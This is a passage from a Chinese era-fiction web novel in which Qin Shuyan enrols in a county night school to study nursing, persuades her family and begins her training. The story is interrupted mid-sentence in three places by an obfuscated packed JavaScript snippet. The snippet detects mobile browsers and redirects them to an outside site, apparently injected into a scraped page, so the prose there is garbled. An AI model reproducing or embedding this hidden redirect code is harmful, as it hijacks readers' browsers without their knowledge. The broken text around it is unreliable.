秦舒颜早料到这种情况,包里放着许多好东西,就为了今天各种打点。 她嘴甜貌美会说话,再加上物资开道,很顺利地进去,来到了负责招生的主任办公室。 “你是我那姥爷家姐姐家的孙女?”王秀丽抬眼打量着这个便宜表外孙女。 能摸到她办公室来,这小姑娘不简单,不管她是怎么做到的,且听听看吧。 王秀丽收起手中钢笔,小心翼翼地别在胸前的兜里,整个人靠在了椅子上。 看着姿势好像很放松,但其实她满脸严肃。 秦舒颜一点都不惧,笑得那叫一个甜,开门见山道:“王主任好,我叫秦舒颜,初中毕业,想来咱夜校学习进步一下,不知道这里面有个什么章程。” 夜校跟普通学习不一样,属于随时可以入学,时间不固定。 有单位、公社、学校推荐的更方便,来了就能上。 而里面的学科,更是多种多样。 大类有工学、财会、农业、手工、医护、师范。 细分有通讯技术、机械制图、机械修理、会计、文书、打字、珠算、纺织、裁剪、幼儿教育、小学教育、护理、助产、基础医疗卫生等。 秦舒颜听着听着眼睛就瞪大了,“还有师范和医护吗?” 老师当时没说啊! 王秀丽笑了笑,“也是今年才有这两门的,国家缺人才,县里夜校自然是越办越大了。” 秦舒颜心思立刻动了,师范和医护都很不错啊,这可比其他专业好太多了。 当小学老师也很不错啊,她上辈子好歹是大学生,教小学生那是绰绰有余。 医护也不赖,这可是一门手艺,学到了本事就是生生世世的技能。 秦舒颜思索了两三秒,立刻就确定学医护。 师范是挺好,很轻松,但上限不高。 医护就不一样了,之后的快穿世界可都是年代文,会点医护走到哪里都吃香,这起码是个保底技能。 “王主任,我想问问咱这个医护,就只有这三样吗?”秦舒颜笑着问道。 “咱们县里是的,你想学医?”王秀丽看出了她的心思。 秦舒颜用力点头,“是的!” 王秀丽又笑了,这次笑得真情实感起来,“你这么漂亮的女孩子还懂得上进,很不错。” “不过很可惜,咱们这小地方,县里就这么一所夜校,也没有那么高深的学科。 想学医,得去夜大学才行,得去省城。” 秦舒颜连忙追问:“那有门路吗?我能去学吗?” 王秀丽摇了摇头,“夜大学主要招收有一定文化基础和临床经验的中级医务人员,比如医生和护士。 是去进修,进行三到五年更专业的医疗学习。” 秦舒颜表情肉眼可见的失望,再次发觉这个年头想出头,想翻身的困难。 “别灰心。”王秀丽挺喜欢秦舒颜的,给她出主意:“还有地方或单位主办的业余医学培训班。 你可以先来夜校学习基础医疗卫生,学成了就能去乡下当基础医护辅助人员,或者有门路更好,进工厂去当卫生员。 当上基础医护人员,就有资格去医学院校或地区大单位、医院申请培训,这样就能学到更专业的医疗技术。 国家很缺医生的,每年暑假期间都会有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203397|197296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 各大单位招生办培训班,好好干,总有路子学到更专业的医疗技术。” 王秀丽一脸“我看好你”的表情。 秦舒颜也笑着松了口气,“太好了,多亏有您帮我指路了,要不然我真像是热锅上的蚂蚁,团团乱转呢。” 王秀丽笑盈盈地看着秦舒颜,毫不吝啬自己的经验,侃侃而谈。 她是真想把她培养出来。 王秀丽一向喜欢好学上进的孩子,更别说还是这么漂亮的小姑娘了。 她明明可以靠着好样貌直接找人嫁了,但她并没有。 这年头很多人的思想还没转变,总觉得女孩子早早嫁人才是正理,能看见自我觉醒的女孩,王秀丽怎么可能不高兴。 一开始对秦舒颜能找来办公室,觉得她心机深沉的王秀丽,彻底转变了对她的看法。 瞧瞧孩子为了学习绞尽脑汁,都能找到她这里来了,多棒啊! 真是厉害,有勇有谋,敢打敢拼啊。 秦舒颜跟王秀丽一老一小两人越聊越欢,最后真就喊上“表外孙女”和“表奶奶”了。 聊了两个小时,秦舒颜才笑呵呵地走出王秀丽办公室门。 等她离开,王秀丽才在桌子上发现了一支新的钢笔。 仔细一下,王秀丽一个后仰,居然是英雄牌钢笔。 一只最便宜的也得三十块,还得加上一张难得的工业票。 “这丫头!”真是大手笔啊,也真舍得。 三十元,这可是一个月工资了,工业票也值不少钱呢。 王秀丽思索了一瞬,就理所应当地接受了,随后爱不释手地把玩起来。 罢了,以后把这丫头当真孙女对待就是了。 解决了一桩心事,秦舒颜轻松了不少。 紧赶慢赶回到家,天都黑透了。 不放心秦舒颜,提心吊胆等着她的赵翠花见她回来了,终于松了口气。 “你个死丫头,哪里野去了?这么晚才回来!” “妈~我没野,我去办大事了。”秦舒颜撒娇打岔糊弄过去了,嘴很严,愣是赵翠花这么问都不漏风。 办事最忌讳嘴不严和半场开香槟,这事全部确定之后再告诉家里吧。 赵翠花唠唠叨叨地拿来暖水瓶,给她打热水叫她洗漱。 房子不隔音,这边叮叮当当的,旁边的人听到清清楚楚。 秦老大夫妇累了一天,听到动静也没想法,转头就继续打鼾了。 周芳华却是拉着秦二江嘀嘀咕咕,“四宝这么晚才回来,是不是又弄着什么好东西了?” 秦二江:“又馋了?” 回答他的是周芳华的一顿掐,“我怀着你孩子,馋了怎么了?” 秦二江呲牙咧嘴地求饶,“松松松!姑奶奶,明天我就去给你搞好吃的来!” “这还差不多!”周芳华终于松开他。 另一边,赵美玲也在跟秦三河说话,“舒颜是个女孩子,这么晚回来……” 秦三河皱眉,“是不安全,赶明我跟她说说,有什么喊我们几个哥哥办就是。” “…………” 赵美玲一口气差点没上来,把自己憋得够呛。 她是这个意思吗? 她是暗示秦舒颜不本分不老实,不守妇道! 不过很可惜,秦三河跟她的想法完全不同。 赵美玲想说什么,但看秦三河打哈欠困得不行,又把话咽了回去。 算了,明天问问婆婆吧。 很可惜,赵翠花什么都不知道,前一天想问的对象之事,全忘得一干二净。 接下来的两天,她们也没找到问话的机会。 因为秦舒颜整天早出晚归,也不知道在干嘛,人影子都摸不着。 到了第三天晚上,赵翠花终于逮住了按时回家的秦舒颜,表情严肃地看着她。 “你这两天什么情况?” 赵翠花这两天被赵美玲话里话外说的,有点担心秦舒颜过火了。 瞧着赵美玲看好戏似的眼神,秦舒颜心里冷笑一声,在全家人的注目下,从包里拿出县夜校的入学单子拍在桌子上。 “我周一就去县里夜校上学了。” “啥!”赵翠花惊呆了。 “夜校?” “上学?” 秦家众人也瞪大了双眼。 7. 7 “你都毕业几年了,又上学?上的什么学?还要去县里?”赵翠花眼珠子落在桌上的纸张上。 秦二江手快,拿起纸就看,赵翠花狠狠在他手背上拍了一下,瞪了他一眼小心地抢走纸张。 “给老娘拿来!” 赵翠花常年干活,力气不小,一下就打得秦二江直抽气,“娘啊!你打我干啥!” 赵翠花没理他,尽管看不懂纸上的字,但还是细细地一行一行看过去。 众人也急地想看,但看得懂的没几个。 全家也就秦二江、秦三河跟秦舒颜识字。 “给,快念念写的啥!”赵翠花过了眼瘾,又把纸给了秦二江。 秦二江看着通红一片的手背,怨念地开口:“那您抢了干啥,还不是得我给你念。” 赵翠花瞪眼,作势要打,秦二江立刻大声念起纸上的字。 其实纸上的字很少,每张就几句话而已,就是镇上初中学校的推荐信,公社开的介绍信,以及夜校入学通知而已。 不过这三张纸上,都有相似又不同的红印章,是盖了公章的。 看着上面红艳艳的印章,秦家人顿时啧啧称奇。 “四宝,你厉害啊,自个就办了这么大的事!”秦二江佩服地给秦舒颜竖起大拇指。 他是真心佩服自己的小妹,从小到大都聪明,长大了就更聪明了。 “你这几天忙得不着家,就是为这事?”赵翠花翻来覆去地拿着纸看。 “夜校是干什么的?”李翠翠一脸茫然,她看出来秦舒颜办了件大事,但不懂这事有多大。 “这个我听说过,是成年人都能上的学校,可以学什么专业知识。”秦大海一拍大腿,“三爸家二儿不就是去夜校学了半年是机械修理,回来就去镇上端铁饭碗了吗!” “啥!”李翠翠惊呆了,“那四宝去学了,回来也能端铁饭碗,吃公家饭?” 赵翠花跟秦有民喜笑颜开,笑得仿佛秦舒颜都端稳铁饭碗了一样,他们都是无比信任秦舒颜能办好这件事的。 “那可不一定,就算上了夜校,也不是能当工人的,大部分人都是从临时工开始。”赵美玲见不得秦舒颜出彩,忍不住唱反调。 气氛果然一下就冷了几分。 “老三家的,你怎么回事?不说好话就罢了,还故意泼凉水!”赵翠花瞪了赵美玲一眼。 赵美玲面露委屈,“我也是担心舒颜白忙活一场吗,再说去县里上学,不提要花多少钱,就她一个人能照顾好自己吗?她可没干过什么活儿。” 说罢,目光瞟向秦舒颜。 见秦舒颜笑意盈盈,完全没半点反应地坐在凳子上喝水,赵美玲忍不住在心里啐她。 脸皮真厚,她都这么嘲讽她了,她还笑得出来。 赵美玲说话虽然不中听,但也是事实,赵翠花顿时担心起秦舒颜来,“四宝啊,你一个人行不行?” 之前秦舒颜上初中都是每天回来的,这突然离家一个人出去,秦家人还真不太放心。 “四宝,你去夜校具体学什么?上多久?完事夜校给你安排工作吗?”秦有民仔细地问道。 所有人都竖起耳朵认真听,眼巴巴地看着面色如常的秦舒颜。 “学医护,最少三个月,最长半年。”秦舒颜打算能学什么学什么,只要能多报一项,她就都学。 “那倒是不久。”秦有民点点头,“初中都得两年呢。” “夜校不包分配,但会有结业证书,优秀毕业生更好找工作。”秦舒颜给大家解释起来,“我学的是医,这到处都缺人,我怎么也能在卫生所混个工作。” “那也不是正式工啊。”赵美玲心里暗笑,面上倒是不显,“顶多也就是个赤脚大夫,有些补贴罢了。” “那这还不如你照相馆的工作呢,好歹体面。”周芳华说完,众人皆是点头。 秦舒颜没瞒着家里,把自己的机会全说了,“我当然知道,当上卫生员只是最基本的,因为有了这个身份,我才能再报名每年地方和单位办的专业医疗培训班。 去了培训班,我学到更专业医护,才好转正式工。” 其实里面真有很多门道,秦舒颜听王秀丽说了很多,想正儿八经拿到医学文凭当医生,这路不是那么好走的,五六年能拿下来都是快的。 不过秦舒颜不急,她有一辈子的时间慢慢磨。 哪怕先从村卫生员开始,她也愿意。 不过其中曲折就不用告诉他们了,他们只用知道大概就成。 听了秦舒颜这话,这下子所有人都明白她所谋不小了。 “这么容易吗?”赵美玲根本不看好她,“上夜校的也不少,也没人人成正式工啊。” “再说了,就算从培训班学出来,一个萝卜一个坑,咱又没关系,正式工哪有那么容易给你的。” 赵美玲意味不明地看着秦舒颜,似笑非笑,“有时候啊,有本事也难出头。” 这话是真难听,但也是绝对真实。 越是小地方越是人情社会,没点关系啥也办不好。 赵翠花心知肚明,但就是不喜欢赵美玲说这种话,“你快闭嘴吧!一天天地不盼着人好。 四宝这么聪明,学啥都快都好,说不定她优秀,单位都抢着要呢!” 赵美玲笑了一声,“是呢是呢,娘说得在理。” 赵翠花盯着赵美玲看,心想这话她听着怎么这么怪呢。 秦舒颜不理会赵美玲的阴阳怪气,对赵翠花跟秦有民说:“不管怎么样,我先努力一把。 先学,能不能正式,全看我到时候如何谋划。” 想起秦舒颜的本事,众人也放松了一些。 “说的也是,学个本事怎么都错不了。”秦有民赞同地点头。 见众人没什么意见,赵美玲又不乐意了,“那学费开销要多少?” “再说了,你这计划远大的,一下子怕不是要学很久,这一拖都到啥时候了,你那会儿年龄也大了吧,可是不好说人家。” 赵翠花也急了,“是啊,你今年都17了,再耽搁两年真成大姑娘了!” 秦舒颜头疼,“哪里大了,法定结婚年龄女18,我后年周岁也就18而已,刚刚好。 再说了,我是个正式工,那不就能找到更好的对象了? 我去县里,甚至省里学习,你们还担心我找不到好人家?” 这话一出,众人瞬间明了。 “敢情你这么努力上进,还是为了找个高枝啊~我说呢!”周芳华“嗐”了一声。 原身想家城里人当少奶奶的梦,那是全家深知的,这会儿他们全部不意外了,理所应当地接受了她搞出来的这些。 秦舒颜无语凝噎,她是真想学个手艺,找好人家嫁了是捎带的,这话说出来都没人信。 赵美玲不屑地扫了一眼秦舒颜,又把话题撤回了钱的问题上。 “那学费呢?住宿吃饭开销都要钱,要花公中的钱吗?” “有上进心是好事,老娘乐意送我闺女去学。”赵翠花眼睛一瞪,对着赵美玲骂骂咧咧,“不用公中钱,用我跟她爹的棺材本!” 秦有民也点头赞同。 秦大海一听立刻开口道:“那不行,怎么能用您二老的老本,就用公中钱。 四宝真学出来了,我们也沾光,以后有个头疼脑热的再也不愁了。” 秦二江也点头,“是这个理,咱家一向是谁乐意学就学,当初不念书是我们哥几个都不乐意念,家里都没亏待我们。” 秦三河也赞同,“我也同意。” 赵美玲不爽极了,想找事但又没法开口,这种大事不是她一个娘们能开口的,没看两个嫂子都没吭声吗。 但她不知道,有这种想法纯粹是她上辈子的理念还没转变过来。 李翠翠不吭声是她真没意见,她觉得这是好事,她想法跟秦大海一模一样。 周芳华倒是有小心思,但她嫁进来得早,知道秦舒颜想办的事就没有不成的,再加上她也觉得家里出个医生很不错,有面又有好处。 她愿意占更大的便宜,而不是斤斤计较那点小钱。 赵美玲真有什么不满,她完全可以说出来,秦家其实很开明的,跟她娘家完全不一样。 不过很可惜,她才嫁进来,并不知道这些,错过了一个挑刺的机会。 秦舒颜看赵美玲不爽了,她就开心了,于是她笑着说:“夜校不要学费,人人都能去,我只要掏住宿费跟吃饭的钱就行。” “那还挺好的!”赵翠花顿时乐了。 “夜校居然不要学费吗?”秦二江瞬间心动了。 “没听说啊!”秦有民也是皱眉,“你们三爸家当时说花了不少钱呢” “当然不是所有夜校都免费的,也有收费的,不过县里这个真不要,我已经看过了。” 秦舒颜琢磨了一下,说:“可能是县里住宿吃喝要钱吧,毕竟是县里,顿顿都得用粮和票,住一天花一天的钱。” “这倒是。”秦有民眉头放松了,“学校有宿舍跟食堂吗?” “都没有,需要自己解决。”秦舒颜叹气,“上夜校的大部分都是半工半读的,普通人很少很少,大多是本地的。” “乡下人根本不知道。”秦二江自嘲一笑,“亏我还消息灵通呢,完全不知道夜校居然不要学费。” “你不爱学习,怎么可能打听这个。”周芳华先乐了。 “那些有门路的知道这个消息也不往外传,毕竟多一个对手,自己找工作概率就少一些,也正常。”秦有民叹了口气。 “二哥,你也去吗?”秦舒颜看向秦二江。 被众人瞩目的秦二江点头,“免费的干嘛不去?我也去学什么机械,出来找个正经工作就不用种地了,多好!” 周芳华眼睛一下子亮得跟灯泡似的,“好啊好啊,你当学!我支持!” 有个工人丈夫,那她好日子不就来了! “等四宝去了,给我打听一下哪个最有出路。”秦二江看向秦舒颜。 秦舒颜一口答应,“没问题,交给我吧。” 反正也是顺手的事。 李翠翠看向秦大海,秦大海连忙摇头,“我看见字就头疼,我不去,我种地就挺好的。” 李翠翠翻了个白眼,也没说什么,毕竟她深知丈夫的本性。 赵美玲也动了心思,目光期待地看向秦三河,秦三河思索了一下,便道:“那四宝也给我看看我适合啥。” “好啊!”秦舒颜笑了。 愿意上进那可太好了,原剧情里,秦三河就是赵美玲的帮手,从头到尾就是给她帮忙的。 他这辈子要是自己立起来,先端到铁饭碗,那剧情就彻底变了。 就算赵美玲还谋到了国营饭店的工作,但改开后没有秦三河保驾护航,她一个人做起来可就费劲了。 秦舒颜对这事是真上心了,想着回头好好打听打听,势必要搅乱剧情。 “好好好,你们有这个想法很好。” 秦有民乐得见孩子们上进,“不管花多少钱,家里都支持,好好学!学出来了端铁饭碗,轻轻松松就能把这钱赚回来的了。” 众人也是这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203398|197296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想的,一个个笑得灿烂,幻想着未来的美好生活。 吃了一顿耽搁的快乐晚餐,赵翠花手一摆就把洗碗的活儿全给赵美玲了,自己去忙活着给秦舒颜收拾东西。 赵美玲因为秦三河上进的好心情,一下子又没了。 秦舒颜就是个宝,她就是个仆人! 赵美玲咬牙切齿地收拾碗筷,心想秦舒颜走了也挺好,待在家里太碍眼了。 不过她要是真学出来了,当上正式工,嫁个城里人,那岂不是更嚣张了? 秦舒颜出息了,她就很不爽,人跟人的差距怎么能这么大?秦家人都疼她,自己却是爹不疼娘不爱的。 赵美玲越想越气,手上动作重起来,又惹得赵翠花一阵骂。 啊—— 烦死了! 赵美玲狠狠拍了一下盆里的水,水花四溅,她抬头看着西面,听着那边说说笑笑的声音,眼神变得阴沉。 …… 翌日一大早,秦舒颜就跟秦二江出发了。 秦舒颜轻装上阵,身上就背着个军绿色挎包,秦二江提着一个大包裹,里面是她的铺盖卷、衣服和杂物。 “一个人去了小心,别乱跑,县里人生地不熟的,小心有二流子。 你好好学,妈等你回来,安定下来了记得写信或者传话回来,要不然妈不放心。 别省吃俭用,也别太大手大脚,你可老实点。”赵翠花压低声音,在她耳边道:“别被县里迷花了眼,那边大,说不定碰到个厉害人物,以势压人你可就完了。 悠着点别瞎搞!” 秦舒颜哭笑不得,只好称是,“好,我记下了,您就放心吧!” 赵翠花愁啊,“我是放心,又不放心,不管怎样吗,你可悠着点吧!” 秦舒颜无奈,只好哄着她。 她又不是原主,又有系统在手,不会胡乱勾搭男人的。 不过这些又不能说,她只好听着赵翠花的碎碎念,不断安抚她。 “哎呀,四宝又不是回来了,夜校很自由的,不拘着她,想回来一周回来一次呗。”秦二江看着赵翠花的姿态简直无语。 “那么远的路,一来一回大半天,一周回来一次四宝不得累死?”赵翠花瞪了一眼秦二江,又转头看向秦舒颜,叮嘱道:“没事还是别回来了,好好学吧,早点学好早点回来。” 秦舒颜点头,“妈你回去吧,到村头了。” 赵翠花应了一声,但还是站在原地没动。 秦舒颜无奈一笑,心想老太太对原身是真疼爱,全家都比不上她一个,满满的都是真情,也难怪原主也就惦记父母二人。 “诶?这大包小包的?你们女子还是儿要出去揽工?” “就是,这是弄什麻了?” 牛车上坐着的婶子们好奇地开口询问赵翠花。 赵翠花也没瞒着,迟早都有暴露,“我们四宝去县里夜校上学,二江送她。” “噫!县里?” “夜校啊!学什麻了?学出来是不是就跟秦六一样端铁饭碗了?” 秦六就是秦舒颜三爸家的学机械修理的孩子。 “学医护,出来端不了铁饭碗,医护跟机械修理不一样,顶多当个卫生员。”秦舒颜笑着解释道。 一听端不了铁饭碗,这些人也就没那么眼红了,“那也挺好的,坐卫生所也是轻轻松松的,好活儿。” “那你那个照相馆的工作不要了?”有心眼的立刻问道。 秦舒颜:“不干了,我二爸家的芳芳干去了。” 秦舒颜不仅没要钱,还给她教了一整天的梳头和化妆技巧。 投桃报李,秦有亮介绍信开得那叫一个爽快。 秦舒颜之后想在村里办什么手续,那绝对是轻轻松松。 有系统在,她不缺钱跟票,缺的就是靠得上用得着的关系,这个工作给他家绝对是一点不亏。 “哦。”那婶子顿时失落起来,那也是个好工作呢,可惜晚了。 牛车很快人满了,秦舒颜被挤到缩成一团,她艰难地对赵翠花招手,慢慢地坐着离开了村里。 再次来县里,秦舒颜已经是熟门熟路,却不承想秦二江对县里也是熟悉得很,轻车熟路地就带着他去了国营饭店。 “来两碗羊肉剁荞面!”秦二江就喊。 态度这么嚣张吗?秦舒颜诧异地看着他。 秦二江不仅没被打,反而还得到了一个笑脸。 “哟,二江哥来啦,快坐。”服务员笑眯眯地过来打招呼,还给他们倒了热面汤。 秦二江放下包裹就去了柜台,站在那里跟后厨的人有说有笑,看着关系很不一般。 羊肉面很快上来,满满两大碗,面上铺着一层肉。 服务员拿来蒜放桌子上,秦二江又跟她客套两句,这才拿起筷子。 “哟~二哥,你是常客啊!”秦舒颜打趣地看着他。 “那必须的!县里我熟着呢!二哥罩你!”秦二江扬起下巴得意一笑。 “你咋这么熟?”秦舒颜是真好奇了,剧情里也没写啊。 秦二江也没瞒着她,探头用气音说:“你以为我跟三河猎的那么多东西都哪里去了?” 秦舒颜恍然大悟。 不过秦三河是猎的,他就是不知道摸来的吧? 秦舒颜笑了一声也没说透,开始专心干饭。 羊肉啊,上辈子她一口不吃,觉得有膻味。 可现在呢,什么膻味啊,那可是肉! 秦舒颜吃得头也不抬。 什么挑食,那都是不够饿!是袁爷爷惯的毛病! 8. 8 “嗝~” 喝完最后一口汤的秦二江打了个饱嗝,满足地舔了舔嘴上的油。 “就是这个味儿正,香!” 秦舒颜赞同地点点头,同样把汤喝得一干二净。 秦二江又去后厨散了一圈烟,聊了两句才出来,拎起大包裹带着秦舒颜往外走。 “你有住的地方吗?”秦二江侧头看她,“没有的话,哥给你找一个。” 秦舒颜点头,“有的,我认了夜校的一个主任当表奶奶,她家就她一个人,我租了她一个卧室。” 秦二江顿时乐了,“不愧是我妹,跟我一样的厉害,哈哈!表奶奶~” 说罢,秦二江就笑个不停。 秦舒颜笑着翻了个白眼,哼了一声,“走吧!去见见咱的表奶奶~” “好好好。”秦二江乐呵呵地扛着包裹跟她走,跟她说起自己的人脉都有谁,在哪里能找到,让她有事就去找他们。 “都是跟我穿一条裤子的,能信任,你放心地找。” 秦舒颜仔细记下了,“嗯,谢谢二哥。”她是不会客气的。 “这就对了!”秦二江最喜欢的就是自家妹妹的爽快大方。 两人都是舍得花钱,不愿意苦了自己的人,从街上出来就找公交,一路颠过去。 王秀丽家离夜校很近,是一条街,就三分钟的路。 秦二江认了夜校的门,把包裹送进王秀丽家里,一点也不拿自己当外人,跟着秦舒颜一起喊她奶奶。 他嘴比秦舒颜还甜,更会哄人开心,没一会儿王秀丽就跟他亲近起来,被他逗得一阵一阵地乐。 秦舒颜叹为观止。 难怪作为一个“二流子”还能哄到一枝花的周芳华,嘴上本事真厉害啊。 还说秦舒颜给他打听专业呢,他这会儿自己就跟王秀丽聊得热火朝天,把一切都问清楚了。 “我都不知道居然这么方便能学习,以前浪费了多少时间啊!”秦二江一拍大腿,懊悔不已。 随后又转头看向王秀丽,满脸孺慕,“也是我们兄妹俩运气好,能遇到您!您可是我们家的贵人! 以后我们俩就是您的亲孙女亲孙子,但凡有事您就招呼!” “哈哈~”王秀丽抬手点了点他,转头对身边的秦舒颜说:“你哥比你还能说会道,这张嘴哦~真是会哄人!” “哪有,我说的都是实话,都是真心实意的!”秦二江一脸真诚。 秦舒颜也道:“这还真是的,您就是我们的贵人,只要您不嫌弃,我们往后可就多多打扰了。” 王秀丽看着他们兄妹俩笑着点了点头,“好,咱们以后就当亲戚处着吧。” 年老成精的王秀丽怎么可能看不出他们心思不纯。 是真心实意地把她当奶奶没错,但也是因为她帮到了他们,能帮到他们罢了。 她懂,但是看着他们好学上进又聪明,有心眼但没有坏心眼的份上,王秀丽愿意认这便宜亲戚。 她看人太多了,短短时间就看出这俩都不是池中物,以后必定会有出息。 他们是利用她,她又何尝不是想用用他们以后的关系。 至于亲戚?呵呵,话还不是由她说。 但凡他们俩不对劲,王秀丽一句话就撇清了关系。 双方关系能处成什么样,全看他们自己。 王秀丽的想法,秦舒颜跟秦二江自然也是心知肚明。 三人都是三分真七分利罢了。 又聊了一会儿,秦二江就决定告辞,回去安排好家里的事情,过几天就来学习。 等到周芳华生了,说不定他都能找好工作了。 秦舒颜把秦二江送出门后,回屋开始收拾东西。 王秀丽家的这个小卧室是真小,就一张床一个柜子,但秦舒颜不嫌弃,因为这里很安全,还便宜些。 收拾完自己的东西,秦舒颜又出去把外面打扫了一遍。 毕竟寄人篱下,还是勤快点好。 得亏家里很小,打扫起来还是很轻松的。 秦舒颜不跟王秀丽一起吃饭,但可以用厨房,她的粮食,秦二江也背过来了。 她把之前从系统那得来的粮食换了一半粗粮杂粮,一次性多放了一些东西到厨房,接下来她就得自己做饭了。 秦舒颜不爱干活归不爱干活,但真做起来那是麻利又干净。 就是因为从小到大活儿干了太多,她才不乐意再干活,变得极爱享受。 发家了就请保姆,工作上也有好几个助理,主打一个超会带团队。 可惜啊,现在又得从头开始了。 想想长生,秦舒颜就瞬间没了懒惰的念头,干劲满满。 王秀丽有事出去了,等她回来看见干干净净的家时,颇为满意地看了一眼秦舒颜。 不错,不是个懒的,眼里也有活。 对于这种人,在不涉及自己利益的情况下,没人会不喜欢。 “奶奶,回来了?”秦舒颜笑着端出来一盘大包子,“我蒸了很多包子,给您端几个尝尝,也省得您晚上再做饭了。” 秦舒颜不是个委屈自己的人,但住在别人家还是得收敛一点,她没有用纯白面,而是掺了玉米面和白面一半一半。 这包子看起来黄灿灿的,又大又圆,褶子均匀漂亮,一看就知道秦舒颜手巧。 “手艺不错,蒸得漂亮极了。”王秀丽笑呵呵地去洗手,坐回沙发上跟她一起吃包子。 一口下去,她眼睛微微睁大,“这么多肉?” 还有那包子皮,也是十分暄软,一看就是没少掺白面。 玉米面怕也是仔细磨了很多遍的。 “有好事嘛,总得吃顿好的庆祝一下。”秦舒颜笑着说道。 王秀丽:“行,这次我沾了你的光,下次可不能这样了,咱得省吃俭用一些。” 秦舒颜点头,“听您的。” 放心,明面上的肯定是悠着来了,背地里那就无所谓了。 两人美美吃了一顿,秦舒颜把剩下的放在阴凉处用湿笼布盖起来,明后儿热着吃。 不得不说,秦舒颜运气很好,遇到了很好的人。 王秀丽去给秦舒颜找了一厚沓子的报纸,又端来一杯冲好的麦乳精。 “这都是近期咱们地方日报跟省里的周报,你闲着没事干可以看看,也好打发时间。” “夜校有订报纸,之后我也会带回来,你想看就在客厅桌子上拿。” 秦舒颜顿时大喜,“诶!谢谢奶奶~” 这年头报纸也金贵,省报可不是什么人都会定的。 报纸可是现在主要的信息来源渠道啊,这是好东西! 王秀丽看她爱不释手,脸上笑意更甚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17203399|197296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,随后不打扰她,关门离开了。 秦舒颜坐在床边翻看着报纸,连麦乳精都顾不上喝。 半个小时后,她感到脖子酸痛,这才回神,站起来活动身体。 报纸太正经硬核了,虽然无聊但不得不看,秦舒颜几乎是一字一句地过,跟上辈子看书一目十行完全不一样。 脖子没有那么僵了,秦舒颜才重新坐下来,把床头柜上已经冷了麦乳精端起来。 一口下去,秦舒颜大失所望,味道真的很一般很一般。 之前看年代文,里面描写麦乳精是个好东西,香甜得不行,可馋人了。 还是现代人吃得好,什么都不缺,这个年代的人没吃过什么好东西,糖都极缺,才会觉得麦乳精是绝佳美味。 秦舒颜摇了摇头,一口气闷了它,出去把杯子洗干净,洗漱后回来又看了一会儿报纸才睡。 第二天,她跟王秀丽一起去夜校。 被亲自送到班级的秦舒颜,得到了老师更和善的笑脸。 来这里学习的,大多是认真努力的,许多同学整天就泡在教室,不懂就问,不耻下问。 秦舒颜被这种氛围感染,也加入了发愤图强大军。 一周后,秦舒颜看见隔壁两个跟她同一天入学的学生毕业了,惊的瞪大了双眼。 “怎么就七天?学了个什么?” 相熟的同学解释道:“她是学接生的,就学女性生殖器解剖、产前检查和接生。 这种一般都是乡里过来的,学好就回乡上任当接生员。” 秦舒颜像是被雷劈了一样,“一周就上任啦?” 一周能学个什么啊! 周围几个同学苦笑,“没办法啊,人才稀缺,专业的妇科大夫也不会来咱们这种小县城教课啊。 一周时间,老师就什么教的了。” 秦舒颜:“……” 我滴个老天奶啊! 跟现代医疗真的差太远太远了,难怪王秀丽怎么肯定她按照她的操作来,肯定能转正式工呢。 学完夜校所有医疗课,她也算是“人才”了,肯定会有工作的。 到时候明年暑假再申请去专业培训班,好好学个一段时间,回来可不就又升级了吗。 学一周都敢接生上任,她学这么久当然没问题了。 秦舒颜表情怪异地胡思乱想着,被旁边的人轻轻推了一下,“别发呆了,快吃饭吧,下午还得去县医院实习呢。” “嗯!” 秦舒颜回神,加快了吃饭的速度。 下午去县医院实习,秦舒颜人又麻了,什么临摹观察学习都没有,直接就是上手操作。 错不怕,错着错着就会了。 你说医闹? 呵呵,不存在的,这个念头患者老实的什么似的,个个害怕医生,对着护士陪笑。 接下来的日子都是上午文课,下午实习,而实习地点,不仅仅是县医院,还有各个工厂,各个乡村。 下乡的艰苦,秦舒颜提起来就是一把辛酸泪。 她都后悔来学医护了,真就是纯给自己找罪受。 气死啦!早知道在现代就学医了,如果当初学了医,她在各个年代文里还不杀疯了? 不过没有后悔药,秦舒颜只能跟艰苦的环境作斗争。 既然都走上这条路了,那就走到底! 9. 9 等秦舒颜学成回来,赵翠花看见她的样子后顿时大惊,“天爷啊,四宝你咋瘦了这么多!还黑了!” 秦家其他人也纷纷过来关心她。 赵翠花:“给你钱跟票了,咋还把自己搞成这样?舍不得吃啊?” “怎么可能,谁都可能舍不得吃,就她不会舍不得。”送秦舒颜回来的秦二江张嘴就来。 然后就挨了自家亲妈的一锤,还被狠狠瞪了一眼。 说什么大实话呢。 不过这样秦舒颜都瘦了,可见环境真艰苦了! 可怜孩子受罪了哦,赵翠花心疼地拉着她的手,眼泪都要掉出来了。 秦舒颜从小到大就没受过苦,万万没想到上个学还能受苦了。 